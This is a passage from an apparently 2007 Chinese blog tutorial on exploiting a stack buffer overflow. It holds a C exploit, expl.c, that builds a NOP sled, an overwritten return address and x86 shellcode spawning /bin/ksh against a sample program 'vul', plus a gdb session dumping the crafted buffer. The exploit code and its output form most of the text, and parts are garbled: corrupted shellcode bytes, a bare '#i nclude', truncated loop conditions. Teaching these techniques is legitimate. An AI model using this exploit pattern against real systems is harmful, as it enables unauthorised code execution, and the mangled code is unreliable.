分类: C/C++
2007-09-12 04:33:39
好了,coredump的情况就介绍到此为止。现在假设你是天下英雄中的一位,你将怎样exploit这个漏洞程序vul呢?我们再回顾一下在Intel/X86架构中缓冲区周围的内存分配情况:
|<--buf: 16 Byte-->|<--Calling Function $EBP: 4 Byte-->|<--Called Function RetAddr: 4 Byte -->|
要成功地Exploit这个程序:第一,我们要让buf溢出直到覆盖RetAddr(被调用函数Foo的返回地址);第二,覆盖后RetAddr的值必须指向我们设计的黑客码 。这样, 当被调用函数Foo运行结束准备返回时,它就糊里糊涂地沿着被修改过的RetAddr返回到我们的黑客码中。
下面的expl.c就是实现Exploit的一个例子,它先精心泡制一个长字符串(由bufferptr指向),再把这个长字符串作为输入参数来调用程序vul。vul在执行中缓冲区buf溢出,覆盖了RetAddr,结果是程序沿着新的RetAddr跳入我们的黑客码执行而产生一个shell。
<===========================expl.c============================>
#i nclude
#define NOP 0x90
#define NOPNUM 100
#define CRAP 0xbbbbbbb
shellCode[]= /*from */
"\xeb_5cx1a" /* jmp
"\x33\xd2" /* xorl %edx,%edx */
"\x58" /* popl %eax */
"\x8d\x78\x14" /* leal 0x14(%eax),%edi */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\xab" /* stosl %eax,%es:(%edi) */
"\x92" /* xchgl %eax,%edx */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x42\x08" /* movb %al,0x8(%edx) */
"
'5cx83\xef\x3b" /* subl $0x3b,%edi */
"\xb0\x9a" /* movb $0x9a,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\x47" /* incl %edi */
"\xb0\x07" /* movb $0x07,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\xb0\x0b" /* movb $0x0b,%al */
"\xe8\xe1\xffPcxff\xff" /* call
"/bin/ksh";
get_esp()
{
__asm__("mov %esp, %eax");
}
main(int argc, char **argv)
{
char* bufferPtr = NULL;
char* dynPtr = NULL;
/*5 CRAPs = 20 byte, 1 byte terminator */
int bufferSize = NOPNUM + strlen(shellCode) + 1 + 20;
int retAddr = 0;
int adjustment = 0;
int esp = get_esp();
int i;
if(argc >= 2)
{
adjustment = atoi(argv[1]);
}
retAddr = esp + adjustment;
bufferPtr = (char *) malloc(bufferSize);
dynPtr = bufferPtr;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *)( CRAP );
dynPtr += 4;
*( (void **)dynPtr ) = (void *) retAddr;
dynPtr += 4;
for(i=0; i
{
*dynPtr++ = NOP;
}
for(i=0; i
{
*dynPtr++ = shellCode;
}
*dynPtr = 0;
printf("esp=0x%.8x, adjustment=0x%.8x, jump to 0x%.8x\n", esp, adjustment, retAddr);
execl("./vul", "vul", bufferPtr, NULL);
}
<=============================================================>
让我们用gdb来仔细研究一下这个精心泡制的长字符串。先以debug模式编译expl.c:
shanghai =>gcc expl.c -o expl -g
再用gdb来Debug:
shanghai =>gdb expl
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-pc-solaris2.8"...
(gdb) b main
Breakpoint 1 at 0x8050996: file expl.c, line 35.
(gdb) b 79
Breakpoint 2 at 0x8050aca: file expl.c, line 79.
/*
我们在源程序expl.c的第79行,也就是printf函数处设置一个中断点。因为当程序运行到这里时,我们的长字符串已经炮制完毕。
开始执行:
*/
(gdb) r
Starting program: /export/home/moda/buf_of/expl
Breakpoint 1, main (argc=1, argv=0x8047c00) at expl.c:35
35 char* bufferPtr = NULL;
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0x8047c00) at expl.c:79
79 printf("esp=0x%.8x, adjustment=0x%.8x, jump to 0x%.8x\n", esp, adjustment, retAddr);
/*
现在程序暂时中断在第79行。我们来看看刚刚作好的长字符串:
*/
(gdb) x/20x bufferPtr
0x8060d88: 0x0bbbbbbb 0x0bbbbbbb 0x0bbbbbbb 0x0bbbbbbb
0x8060d98: 0x0bbbbbbb 0x08047ba8 0x90909090 0x90909090
0x8060da8: 0x90909090 0x90909090 0x90909090 0x90909090
0x8060db8: 0x90909090 0x90909090 0x90909090 0x90909090
0x8060dc8: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
0x8060dd8: 0x90909090 0x90909090 0x90909090 0x90909090
0x8060de8: 0x90909090 0x90909090 0x90909090 0x90909090
0x8060df8: 0x90909090 0x90909090 0x90909090 0xd2331aeb
0x8060e08: 0x14788d58 0x92ab5057 0x084288ab 0xb03bef83
0x8060e18: 0xb047ab9a 0x0bb0ab07 0xffffe1e8 0x69622fff
(gdb)
0x8060e28: 0x736b2f6e 0x00000068 0x00001f40 0x00000000
0x8060e38: 0x00000000 0x00000000 0x00000000 0x00000000
0x8060e48: 0x00000000 0x00000000 0x00000000 0x00000000
0x8060e58: 0x00000000 0x00000000 0x00000000 0x00000000
0x8060e68: 0x00000000 0x00000000 0x00000000 0x00000000
(以下程序执行省略。。。)